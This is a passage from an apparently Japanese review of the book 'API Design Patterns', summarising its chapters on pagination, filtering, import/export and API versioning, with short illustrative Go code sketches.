Patterns」の第21章「Pagination」は、APIにおけるページネーションの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はページネーションが単なる機能の追加ではなく、APIの使いやすさ、効率性、そして全体的なシステムのスケーラビリティにどのように影響を与えるかを明確に示しています。ページネーションの必要性と概要著者は、大規模なデータセットを扱う際のページネーションの必要性から議論を始めています。特に、1億件のデータを一度に返そうとすることの問題点を指摘し、ページネーションがこの問題にどのように対処するかを説明しています。ページネーションは、大量のデータを管理可能な「チャンク」に分割し、クライアントが必要に応じてデータを取得できるようにする方法です。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化する必要があります。ページネーションは、このような環境でのデータ転送を最適化し、システム全体のパフォーマンスと応答性を向上させる重要な手段となります。著者は、ページネーションの基本的な構造として以下の要素を提案しています。pageToken: 次のページを取得するためのトークンmaxPageSize: クライアントが要求する最大ページサイズnextPageToken: サーバーが返す次のページのトークンこれらの要素を組み合わせることで、APIは大規模なデータセットを効率的に管理し、クライアントに段階的に提供することができます。ページネーションの実装著者は、ページネーションの実装に関して詳細なガイダンスを提供しています。主なポイントは以下の通りです。最大ページサイズ vs 正確なページサイズ: 著者は、正確なページサイズではなく最大ページサイズを使用することを推奨しています。これにより、サーバーは要求されたサイズよりも小さいページを返すことができ、パフォーマンスと効率性が向上します。ページトークンの不透明性: ページトークンは、クライアントにとって意味を持たない不透明な文字列であるべきです。これにより、サーバー側で実装の詳細を変更する柔軟性が確保されます。一貫性の確保: ページネーション中にデータが変更される可能性があるため、完全な一貫性を保証することは難しい場合があります。著者は、この制限を明確に文書化することを推奨しています。ページトークンの有効期限: ページトークンに有効期限を設定することで、リソースの効率的な管理が可能になります。これらの原則を適用した、Golangでのページネーションの実装例を以下に示します。type ListResourcesRequest struct { PageToken string `json:\"pageToken\"` MaxPageSize int `json:\"maxPageSize\"`}type ListResourcesResponse struct { Resources []*Resource `json:\"resources\"` NextPageToken string `json:\"nextPageToken\"`}func (s *Service) ListResources(ctx context.Context, req *ListResourcesRequest) (*ListResourcesResponse, error) { // ページトークンのデコードと検証 offset, err := decodePageToken(req.PageToken) if err != nil { return nil, err } // リソースの取得 limit := min(req.MaxPageSize, 100) // 最大100件に制限 resources, err := s.repository.GetResources(ctx, offset, limit+1) if err != nil { return nil, err } // 次のページトークンの生成 var nextPageToken string if len(resources) > limit { nextPageToken = encodePageToken(offset + limit) resources = resources[:limit] } return &ListResourcesResponse{ Resources: resources, NextPageToken: nextPageToken, }, nil}この実装例では、ページトークンを使用してオフセットを管理し、最大ページサイズを制限しています。また、次のページがあるかどうかを判断するために、要求された制限よりも1つ多くのリソースを取得しています。ページネーションの影響とトレードオフ著者は、ページネーションの導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: ページネーションは、大規模なデータセットを扱う際のパフォーマンスを大幅に向上させます。しかし、適切に実装されていない場合(例:オフセットベースのページネーション)、データベースへの負荷が増大する可能性があります。一貫性と可用性のバランス: 完全な一貫性を保証しようとすると、システムの可用性が低下する可能性があります。著者は、このトレードオフを明確に理解し、適切なバランスを取ることの重要性を強調しています。クライアント側の複雑性: ページネーションは、クライアント側の実装を複雑にする可能性があります。特に、全データを取得する必要がある場合、クライアントは複数のリクエストを管理する必要があります。キャッシュ戦略: ページネーションは、キャッシュ戦略に影響を与えます。各ページを個別にキャッシュする必要があり、データの更新頻度によってはキャッシュの有効性が低下する可能性があります。これらの影響とトレードオフを考慮しながら、ページネーションの実装を検討する必要があります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: ページネーションは、マイクロサービス間でのデータ転送を最適化する上で重要な役割を果たします。各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化することで、システム全体のパフォーマンスが向上します。イベント駆動アーキテクチャとの連携: ページネーションは、イベントストリームの処理にも応用できます。大量のイベントを処理する際に、ページネーションを使用することで、消費者が管理可能なチャンクでイベントを処理できるようになります。データの一貫性と鮮度: ページネーション中にデータが変更される可能性があるため、データの一貫性と鮮度のバランスを取る必要があります。特に、リアルタイム性が求められるシステムでは、この点に注意が必要です。クエリパフォーマンスの最適化: ページネーションの実装方法によっては、データベースへの負荷が増大する可能性があります。特に、オフセットベースのページネーションは大規模なデータセットで問題が発生する可能性があります。カーソルベースのページネーションなど、より効率的な方法を検討する必要があります。レスポンスタイムの一貫性: ページサイズを固定することで、各リクエストのレスポンスタイムをより一貫したものにすることができます。これは、システムの予測可能性と信頼性を向上させる上で重要です。エラー処理とリトライ戦略: ページネーションを使用する際は、ネットワークエラーやタイムアウトに対する適切なエラー処理とリトライ戦略が重要になります。特に、長時間にわたるデータ取得プロセスでは、この点に注意が必要です。モニタリングと可観測性: ページネーションの使用パターンを監視することで、システムの使用状況やボトルネックを特定することができます。例えば、特定のページサイズやフィルタ条件が頻繁に使用されている場合、それらに対して最適化を行うことができます。ページネーションと全体的なシステムアーキテクチャページネーションの設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとインデックス設計: 効率的なページネーションを実現するためには、適切なデータモデルとインデックス設計が不可欠です。特に、大規模なデータセットを扱う場合、この点が重要になります。キャッシュ戦略: ページネーションを使用する場合、各ページを個別にキャッシュする必要があります。これにより、キャッシュ戦略が複雑になる可能性があります。特に、データの更新頻度が高い場合、キャッシュの有効性が低下する可能性があります。負荷分散とスケーリング: ページネーションを使用することで、システムの負荷をより均等に分散させることができます。これにより、システムのスケーラビリティが向上します。バックエンドサービスの設計: ページネーションを効率的に実装するためには、バックエンドサービスの設計を適切に行う必要があります。特に、データベースクエリの最適化や、ページトークンの生成と管理が重要になります。API設計の一貫性: ページネーションの設計は、API全体の設計と一貫性を保つ必要があります。例えば、ページネーションパラメータの命名規則や、レスポンス形式などを統一することが重要です。結論第21章「Pagination」は、APIにおけるページネーションの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの使いやすさ、効率性、そして全体的なシステムのスケーラビリティを大きく向上させる可能性があります。特に重要な点は以下の通りです。ページネーションは、大規模なデータセットを扱う際に不可欠な機能です。最大ページサイズを使用し、正確なページサイズを保証しないことで、システムの柔軟性と効率性が向上します。ページトークンは不透明であるべきで、クライアントはその内容を理解したり操作したりする必要はありません。データの一貫性と可用性のバランスを取ることが重要です。完全な一貫性を保証することは難しい場合があり、この制限を明確に文書化する必要があります。ページネーションの設計は、システム全体のアーキテクチャ、パフォーマンス、スケーラビリティに大きな影響を与えます。これらの原則を適切に適用することで、開発者は使いやすく、効率的で、スケーラブルなAPIを設計することができます。特に、大規模なデータセットを扱う場合や、リソースが制限されている環境(モバイルアプリケーションなど)でのAPIの使用を想定している場合、ページネーションは極めて重要な役割を果たします。しかし、ページネーションの導入には慎重な検討も必要です。特に、データの一貫性、クライアント側の複雑性、キャッシュ戦略などの側面で課題が生じる可能性があります。これらの課題に適切に対処するためには、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、ページネーションの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の効率性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。ページネーションの適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。22 Filtering「API Design Patterns」の第22章「Filtering」は、APIにおけるフィルタリング機能の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はフィルタリングが単なる便利な機能ではなく、APIの効率性、使いやすさ、そして全体的なシステムのパフォーマンスにどのように影響を与えるかを明確に示しています。フィルタリングの必要性と概要著者は、標準的なリスト操作だけでは特定の条件に合致するリソースのみを取得することが困難であるという問題提起から議論を始めています。大規模なデータセットを扱う現代のシステムにおいて、クライアントが全てのリソースを取得してから必要なデータをフィルタリングするというアプローチは、非効率的であり、システムリソースの無駄遣いにつながります。この問題は、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において顕著です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化する必要があります。サーバーサイドでのフィルタリングは、このような環境でのデータ転送を最適化し、システム全体のパフォーマンスと応答性を向上させる重要な手段となります。著者は、フィルタリングの基本的な実装として、標準的なリストリクエストにfilterフィールドを追加することを提案しています。このフィールドを通じて、クライアントは必要なデータの条件を指定し、サーバーはその条件に合致するリソースのみを返すことができます。フィルタリングの実装著者は、フィルタリングの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。フィルター表現の構造: 著者は、構造化されたフィルター(例:JSONオブジェクト)ではなく、文字列ベースのフィルター表現を推奨しています。これにより、APIの柔軟性が向上し、将来的な拡張が容易になります。実行時間の考慮: フィルター式の評価は、単一のリソースのコンテキスト内で完結すべきであり、外部データソースへのアクセスや複雑な計算を含むべきではありません。これにより、フィルタリング操作の予測可能性と効率性が確保されます。配列要素のアドレス指定: 著者は、配列内の特定の位置の要素を参照するフィルタリングを避け、代わりに配列内の要素の存在をチェックするアプローチを推奨しています。これにより、データの順序に依存しない柔軟なフィルタリングが可能になります。厳格性: フィルター式の解釈は厳格であるべきで、あいまいな表現や型の不一致は許容せず、エラーとして扱うべきです。これにより、フィルタリングの信頼性と予測可能性が向上します。カスタム関数: 基本的なフィルタリング機能では不十分な場合に備えて、カスタム関数の導入を提案しています。これにより、複雑なフィルタリング要件にも対応できます。これらの原則を適用した、Golangでのフィルタリング実装の例を以下に示します。type ListResourcesRequest struct { Filter string `json:\"filter\"` MaxPageSize int `json:\"maxPageSize\"` PageToken string `json:\"pageToken\"`}func (s *Service) ListResources(ctx context.Context, req *ListResourcesRequest) (*ListResourcesResponse, error) { filter, err := parseFilter(req.Filter) if err != nil { return nil, fmt.Errorf(\"invalid filter: %w\", err) } resources, err := s.repository.GetResources(ctx) if err != nil { return nil, err } var filteredResources []*Resource for _, resource := range resources { if filter.Evaluate(resource) { filteredResources = append(filteredResources, resource) } } // ページネーションの処理 // ... return &ListResourcesResponse{ Resources: filteredResources, NextPageToken: nextPageToken, }, nil}この実装例では、フィルター文字列をパースし、各リソースに対して評価関数を適用しています。フィルターの解析と評価は厳格に行われ、無効なフィルターや型の不一致はエラーとして扱われます。フィルタリングの影響とトレードオフ著者は、フィルタリング機能の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: サーバーサイドでのフィルタリングは、ネットワーク帯域幅の使用を最適化し、クライアントの処理負荷を軽減します。しかし、複雑なフィルター式の評価はサーバーリソースを消費する可能性があります。柔軟性と複雑性のバランス: 文字列ベースのフィルター表現は高い柔軟性を提供しますが、解析と評価の複雑さが増加します。これは、エラーハンドリングとセキュリティの観点から慎重に管理する必要があります。一貫性と可用性: フィルタリング結果の一貫性を保証することは、特に分散システムにおいて課題となります。データの更新とフィルタリング操作のタイミングによっては、結果が異なる可能性があります。セキュリティの考慮: フィルター式の評価は、潜在的なセキュリティリスクを伴います。インジェクション攻撃や過度に複雑なクエリによるDoS攻撃の可能性に注意する必要があります。これらのトレードオフを適切に管理することが、フィルタリング機能の成功的な実装の鍵となります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: フィルタリングはマイクロサービス間のデータ交換を最適化する上で重要な役割を果たします。各サービスが必要最小限のデータのみを要求・提供することで、システム全体の効率性が向上します。クエリ最適化: フィルタリング機能は、データベースクエリの最適化と密接に関連しています。効率的なインデックス設計やクエリプランの最適化が、フィルタリングのパフォーマンスに大きな影響を与えます。キャッシュ戦略: フィルタリング結果のキャッシングは、システムのパフォーマンスを大幅に向上させる可能性があります。しかし、キャッシュの有効性とデータの鮮度のバランスを取ることが課題となります。バージョニングと後方互換性: フィルター構文の進化は、APIのバージョニング戦略に影響を与えます。新機能の追加や変更が既存のクライアントに影響を与えないよう、慎重に管理する必要があります。モニタリングと可観測性: フィルタリング操作のパフォーマンスと使用パターンを監視することで、システムの最適化機会を特定できます。例えば、頻繁に使用されるフィルターパターンに対して特別な最適化を行うことが可能になります。フィルタリングとシステムアーキテクチャフィルタリング機能の設計は、システム全体のアーキテクチャに大きな影響を与えます。以下の点について考慮する必要があります。データモデルとスキーマ設計: 効率的なフィルタリングを実現するためには、適切なデータモデルとスキーマ設計が不可欠です。フィルタリングが頻繁に行われるフィールドに対しては、適切なインデックスを設定する必要があります。分散システムにおけるフィルタリング: マイクロサービスアーキテクチャにおいて、フィルタリングはしばしば複数のサービスにまたがって行われる必要があります。このような場合、フィルタリングロジックの配置と実行方法を慎重に設計する必要があります。リアルタイムシステムとの統合: ストリーミングデータや実時間性の高いシステムにおいて、フィルタリングはより複雑になります。データの到着と処理のタイミングを考慮したフィルタリング戦略が必要となります。セキュリティアーキテクチャ: フィルタリング機能は、データアクセス制御と密接に関連しています。ユーザーの権限に基づいて、フィルタリング可能なデータの範囲を制限する必要があります。エラー処理とレジリエンス: フィルタリング操作の失敗がシステム全体に与える影響を最小限に抑えるため、適切なエラー処理とフォールバック機構を実装する必要があります。結論第22章「Filtering」は、APIにおけるフィルタリング機能の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの使いやすさ、効率性、そして全体的なシステムのパフォーマンスを大きく向上させる可能性があります。特に重要な点は以下の通りです。フィルタリングは、大規模なデータセットを扱う現代のシステムにおいて不可欠な機能です。文字列ベースのフィルター表現を使用することで、APIの柔軟性と拡張性が向上します。フィルター式の評価は、単一のリソースのコンテキスト内で完結し、外部データソースへのアクセスを避けるべきです。フィルター式の解釈は厳格であるべきで、あいまいな表現や型の不一致はエラーとして扱うべきです。カスタム関数の導入により、複雑なフィルタリング要件にも対応できます。これらの原則を適切に適用することで、開発者は使いやすく、効率的で、スケーラブルなAPIを設計することができます。特に、大規模なデータセットを扱う場合や、リソースが制限されている環境(モバイルアプリケーションなど)でのAPIの使用を想定している場合、適切なフィルタリング機能の実装は極めて重要です。しかし、フィルタリング機能の導入には慎重な検討も必要です。特に、パフォーマンス、セキュリティ、データの一貫性などの側面で課題が生じる可能性があります。これらの課題に適切に対処するためには、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、フィルタリング機能の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の効率性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。フィルタリング機能の適切な実装は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。23 Importing and exporting「API Design Patterns」の第23章「Importing and exporting」は、APIにおけるデータのインポートとエクスポートの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はインポートとエクスポート機能が単なるデータ移動の手段ではなく、APIの効率性、柔軟性、そして全体的なシステムアーキテクチャにどのように影響を与えるかを明確に示しています。インポートとエクスポートの必要性と概要著者は、大規模なデータセットを扱う現代のシステムにおいて、効率的なデータの移動が不可欠であるという問題提起から議論を始めています。従来のアプローチでは、クライアントアプリケーションがAPIからデータを取得し、それを外部ストレージに保存する(またはその逆)という方法が一般的でした。しかし、このアプローチには大きな問題があります。特に、データがAPIサーバーとストレージシステムの近くに位置しているにもかかわらず、クライアントアプリケーションが遠隔地にある場合、大量のデータ転送が必要となり、効率が著しく低下します。著者は、この問題を解決するために、APIサーバーが直接外部ストレージシステムとやり取りするカスタムメソッドを導入することを提案しています。具体的には、importとexportという2つのカスタムメソッドです。これらのメソッドは、データの転送だけでなく、APIリソースとバイトデータ間の変換も担当します。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが大量のデータを効率的に処理し、ネットワーク帯域幅を最適化する必要があります。インポート/エクスポート機能を適切に設計することで、サービス間のデータ移動を最適化し、システム全体のパフォーマンスと応答性を向上させることができます。インポートとエクスポートの実装著者は、インポートとエクスポートの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。構造の分離: 著者は、データの転送と変換を別々の設定インターフェースで管理することを提案しています。具体的には、DataSource/DataDestinationインターフェースでデータの移動を、InputConfig/OutputConfigインターフェースでデータの変換を管理します。この分離により、システムの柔軟性と再利用性が大幅に向上します。長時間実行操作(LRO): インポートとエクスポート操作は時間がかかる可能性があるため、著者はこれらの操作をLROとして実装することを推奨しています。これにより、クライアントは操作の進行状況を追跡し、完了を待つことができます。一貫性の考慮: エクスポート操作中にデータが変更される可能性があるため、著者はデータの一貫性について慎重に検討しています。完全な一貫性を保証できない場合、「スメア」(一時的な不整合)が発生する可能性があることを明確に示しています。識別子の扱い: インポート時に識別子をどのように扱うかについて、著者は慎重なアプローチを提案しています。特に、既存のリソースとの衝突を避けるため、インポート時に新しい識別子を生成することを推奨しています。失敗とリトライの処理: インポートとエクスポート操作の失敗とリトライについて、著者は詳細なガイダンスを提供しています。特に、インポート操作のリトライ時に重複リソースが作成されないよう、importRequestIdの使用を提案しています。これらの原則を適用した、Golangでのインポート/エクスポート機能の実装例を以下に示します。type ImportExportService struct { // サービスの依存関係}func (s *ImportExportService) ExportResources(ctx context.Context, req *ExportRequest) (*longrunning.Operation, error) { op := &longrunning.Operation{ Name: fmt.Sprintf(\"operations/export_%s\", uuid.New().String()), } go s.runExport(ctx, req, op) return op, nil}func (s *ImportExportService) runExport(ctx context.Context, req *ExportRequest, op *longrunning.Operation) { // エクスポートロジックの実装 // 1. リソースの取得 // 2. データの変換(OutputConfigに基づく) // 3. 外部ストレージへの書き込み(DataDestinationに基づく) // 4. 進捗の更新}func (s *ImportExportService) ImportResources(ctx context.Context, req *ImportRequest) (*longrunning.Operation, error) { op := &longrunning.Operation{ Name: fmt.Sprintf(\"operations/import_%s\", uuid.New().String()), } go s.runImport(ctx, req, op) return op, nil}func (s *ImportExportService) runImport(ctx context.Context, req *ImportRequest, op *longrunning.Operation) { // インポートロジックの実装 // 1. 外部ストレージからのデータ読み取り(DataSourceに基づく) // 2. データの変換(InputConfigに基づく) // 3. リソースの作成(importRequestIdを使用して重複を防ぐ) // 4. 進捗の更新}この実装例では、インポートとエクスポート操作を非同期で実行し、LROを通じて進捗を追跡できるようにしています。また、データの転送と変換を分離し、柔軟性を確保しています。インポートとエクスポートの影響とトレードオフ著者は、インポート/エクスポート機能の導入がシステム全体に与える影響とトレードオフについても詳細に論じています。パフォーマンスとスケーラビリティ: APIサーバーが直接外部ストレージとやり取りすることで、データ転送の効率が大幅に向上します。しかし、これはAPIサーバーの負荷を増加させる可能性があります。一貫性と可用性のバランス: エクスポート中のデータ一貫性を保証することは難しく、「スメア」が発生する可能性があります。完全な一貫性を求めると、システムの可用性が低下する可能性があります。セキュリティの考慮: APIサーバーが外部ストレージに直接アクセスすることで、新たなセキュリティ上の課題が生じる可能性があります。適切なアクセス制御と認証メカニズムが不可欠です。運用の複雑さ: インポート/エクスポート機能の導入により、システムの運用が複雑になる可能性があります。特に、失敗したオぺレーションの処理とリカバリーには注意が必要です。バックアップ/リストアとの違い: 著者は、インポート/エクスポート機能がバックアップ/リストア機能とは異なることを強調しています。この違いを理解し、適切に使い分けることが重要です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。マイクロサービスアーキテクチャとの統合: インポート/エクスポート機能は、マイクロサービス間のデータ移動を最適化する上で重要な役割を果たします。各サービスが独自のインポート/エクスポート機能を持つことで、サービス間のデータ交換が効率化されます。クラウドネイティブ環境での活用: クラウドストレージサービス(例:Amazon S3、Google Cloud Storage)との直接統合により、データの移動と処理を効率化できます。大規模データ処理: ビッグデータ分析や機械学習のためのデータ準備において、効率的なインポート/エクスポート機能は不可欠です。コンプライアンスとデータガバナンス: データのインポート/エクスポート操作をAPIレベルで制御することで、データの流れを一元管理し、コンプライアンス要件への対応を容易にします。障害復旧とシステム移行: 適切に設計されたインポート/エクスポート機能は、災害復旧やシステム移行シナリオにおいても有用です。結論第23章「Importing and exporting」は、APIにおけるデータのインポートとエクスポートの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの効率性、柔軟性、そして全体的なシステムアーキテクチャを大きく向上させる可能性があります。特に重要な点は以下の通りです。インポート/エクスポート機能は、APIサーバーと外部ストレージ間の直接的なデータ移動を可能にし、効率を大幅に向上させます。データの転送(DataSource/DataDestination)と変換(InputConfig/OutputConfig)を分離することで、システムの柔軟性と再利用性が向上します。長時間実行操作(LRO)として実装することで、クライアントは非同期で操作の進行状況を追跡できます。データの一貫性、識別子の扱い、失敗とリトライの処理には特別な注意が必要です。インポート/エクスポート機能はバックアップ/リストア機能とは異なることを理解し、適切に使い分けることが重要です。これらの原則を適切に適用することで、開発者は効率的で柔軟性の高いAPIを設計することができます。特に、大規模なデータセットを扱う場合や、複雑なマイクロサービスアーキテクチャを採用している場合、適切なインポート/エクスポート機能の実装は極めて重要です。しかし、この機能の導入には慎重な検討も必要です。特に、セキュリティ、データの一貫性、システムの複雑性の増加などの側面で課題が生じる可能性があります。これらの課題に適切に対処するためには、システムの要件と制約を十分に理解し、適切な設計決定を行う必要があります。最後に、インポート/エクスポート機能の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にデータ移動の効率を向上させるだけでなく、システム全体の柔軟性、スケーラビリティ、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。適切に設計されたインポート/エクスポート機能は、システムの進化と拡張を容易にし、長期的な保守性を向上させます。API設計者とシステム設計者は、これらの原則を深く理解し、実践することで、より堅牢で効率的なシステムを構築することができるでしょう。Part 6 Safety and security最後のパートでは、APIの安全性とセキュリティに関する重要なトピックが扱われています。バージョニングと互換性の維持、ソフト削除、リクエストの重複排除、リクエストの検証、リソースのリビジョン管理、リクエストの再試行、リクエストの認証など、APIの信頼性と安全性を確保するための様々な手法が詳細に解説されています。これらの要素は、APIの長期的な運用と進化において極めて重要です。24 Versioning and compatibility「API Design Patterns」の第24章「Versioning and compatibility」は、APIのバージョニングと互換性の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はバージョニングと互換性の管理が単なる技術的な詳細ではなく、APIの長期的な成功と進化に直接影響を与える重要な戦略的決定であることを明確に示しています。バージョニングの必要性と互換性の概念著者は、ソフトウェア開発、特にAPIの進化が避けられない現実から議論を始めています。新機能の追加、バグの修正、セキュリティの向上など、APIを変更する理由は常に存在します。しかし、APIはその公開性と厳格性ゆえに、変更が難しいという特性を持っています。この緊張関係を解決するための主要な手段として、著者はバージョニングを提案しています。バージョニングの本質は、APIの変更を管理可能な形で導入し、既存のクライアントに影響を与えることなく新機能を提供することです。著者は、バージョニングの主な目的を「ユーザーに可能な限り多くの機能を提供しつつ、最小限の不便さで済ませること」と定義しています。この定義は、APIデザインにおける重要な指針となります。互換性の概念についても詳細に説明されています。著者は、互換性を「2つの異なるコンポーネントが正常に通信できる能力」と定義しています。APIのコンテキストでは、これは主にクライアントとサーバー間の通信を指します。特に、後方互換性(新しいバージョンのAPIが古いクライアントコードと正常に動作する能力)が重要です。この概念は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが互いに依存し合う環境では、一つのAPIの変更が全体のシステムに波及的な影響を与える可能性があります。適切なバージョニング戦略は、このような環境でのシステムの安定性と進化を両立させるために不可欠です。後方互換性の定義著者は、後方互換性の定義が単純ではないことを指摘しています。一見すると「既存のコードが壊れないこと」という定義で十分に思えますが、実際にはより複雑です。著者は、後方互換性の定義が「APIを利用するユーザーのプロファイルと期待」に大きく依存すると主張しています。例えば、新しい機能の追加は通常後方互換性があると考えられますが、リソースが制限されているIoTデバイスのような環境では、新しいフィールドの追加でさえメモリオーバーフローを引き起こす可能性があります。また、バグ修正についても、それが既存のクライアントの動作に影響を与える可能性がある場合、後方互換性を損なう可能性があります。著者は、以下のようなシナリオについて詳細に議論しています。新機能の追加バグ修正法的要件による強制的な変更パフォーマンスの最適化基礎となるアルゴリズムや技術の変更一般的な意味的変更これらの各シナリオにおいて、変更が後方互換性を持つかどうかは、APIのユーザーベースの特性と期待に大きく依存します。例えば、金融機関向けのAPIと、スタートアップ向けのAPIでは、安定性と新機能に対する要求が大きく異なる可能性があります。この議論は、APIデザインが単なる技術的な問題ではなく、ビジネス戦略と密接に関連していることを示しています。APIデザイナーは、技術的な側面だけでなく、ユーザーのニーズ、ビジネス目標、法的要件などを総合的に考慮してバージョニング戦略を決定する必要があります。バージョニング戦略著者は、いくつかの主要なバージョニング戦略について詳細に説明しています。永続的安定性(Perpetual stability): 各バージョンを永続的に安定させ、後方互換性のない変更は常に新しいバージョンで導入する戦略。アジャイル不安定性(Agile instability): アクティブなバージョンの「滑走窓」を維持し、定期的に古いバージョンを廃止する戦略。セマンティックバージョニング(Semantic versioning): メジャー、マイナー、パッチの3つの数字を使用して変更の性質を明確に示す戦略。各戦略には、それぞれ長所と短所があります。例えば、永続的安定性は高い安定性を提供しますが、新機能の導入が遅くなる可能性があります。一方、アジャイル不安定性は新機能の迅速な導入を可能にしますが、クライアントに頻繁な更新を強いる可能性があります。セマンティックバージョニングは柔軟性と明確性を提供しますが、多数のバージョンの管理が必要になる可能性があります。これらの戦略の選択は、APIのユースケース、ユーザーベース、開発リソース、ビジネス目標など、多くの要因に依存します。例えば、マイクロサービスアーキテクチャを採用している組織では、各サービスが独立してバージョニングを行う必要がありますが、全体的な一貫性も維持する必要があります。このような環境では、セマンティックバージョニングが適している可能性が高いです。Golangのコンテキストでは、以下のようなバージョニング戦略の実装例が考えられます。type APIVersion struct { Major int Minor int Patch int}type APIClient struct { Version APIVersion // その他のクライアント設定}func (c *APIClient) Call(endpoint string, params map[string]interface{}) (interface{}, error) { // バージョンに基づいてAPIコールを調整 if c.Version.Major == 1 { // v1のロジック } else if c.Version.Major == 2 { // v2のロジック } else { return nil, fmt.Errorf(\"unsupported API version: %v\", c.Version) } // 実際のAPI呼び出しロジック}このような実装により、クライアントは特定のAPIバージョンを指定して操作を行うことができ、サーバー側では各バージョンに応じた適切な処理を行うことができます。バージョニングのトレードオフ著者は、バージョニング戦略を選択する際の主要なトレードオフについて議論しています。粒度 vs 単純性: より細かいバージョン管理は柔軟性を提供しますが、複雑さも増加します。安定性 vs 新機能: 高い安定性を維持するか、新機能を迅速に導入するかのバランス。満足度 vs 普遍性: 一部のユーザーを非常に満足させるか、より多くのユーザーに受け入れられる方針を取るか。これらのトレードオフは、APIの設計と進化に大きな影響を与えます。例えば、高度に規制された産業向けのAPIでは、安定性と予測可能性が最も重要かもしれません。一方、急速に進化するテクノロジー分野では、新機能の迅速な導入が優先されるかもしれません。運用の観点からは、これらのトレードオフは以下のような影響を持ちます。インフラストラクチャの複雑さ: 多数のバージョンを同時にサポートする必要がある場合、インフラストラクチャの管理が複雑になります。モニタリングと可観測性: 各バージョンの使用状況、パフォーマンス、エラーレートを個別に監視する必要があります。デプロイメントの戦略: 新バージョンのロールアウトと古いバージョンの段階的な廃止をどのように管理するか。ドキュメンテーションとサポート: 各バージョンのドキュメントを維持し、サポートを提供する必要があります。結論第24章「Versioning and compatibility」は、APIのバージョニングと互換性管理の重要性と、その適切な実装方法を明確に示しています。著者の提案する原則は、APIの長期的な成功と進化を確保する上で非常に重要です。特に重要な点は以下の通りです。バージョニングは、APIの進化を可能にしつつ、既存のクライアントへの影響を最小限に抑えるための重要なツールです。後方互換性の定義は、APIのユーザーベースと彼らの期待に大きく依存します。バージョニング戦略の選択には、粒度vs単純性、安定性vs新機能、満足度vs普遍性などのトレードオフがあります。適切なバージョニング戦略は、APIの使用目的、ユーザーベース、開発リソース、ビジネス目標など、多くの要因を考慮して選択する必要があります。バージョニングはAPIの設計だけでなく、インフラストラクチャ、運用、サポートなど、システム全体に影響を与えます。これらの原則を適切に適用することで、開発者は長期的に持続可能で進化可能なAPIを設計することができます。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境では、適切なバージョニング戦略が全体的なシステムの安定性と進化可能性を確保する上で極めて重要です。バージョニングと互換性の管理は、技術的な問題であると同時に、戦略的な決定でもあります。API設計者は、技術的な側面だけでなく、ビジネス目標、ユーザーのニーズ、法的要件、運用上の制約など、多くの要因を考慮してバージョニング戦略を決定する必要があります。適切に実装されたバージョニング戦略は、APIの長期的な成功と、それに依存するシステム全体の安定性と進化可能性を確保する重要な基盤となります。最後に、バージョニングと互換性の管理は継続的なプロセスであることを認識することが重要です。技術の進化、ユーザーのニーズの変化、新たな法的要件の出現などに応じて、バージョニング戦略を定期的に見直し、必要に応じて調整することが求められます。この継続的な管理と適応が、APIの長期的な成功と、それに依存するシステム全体の健全性を確保する鍵となります。25 Soft deletion「API Design Patterns」の第25章「Soft 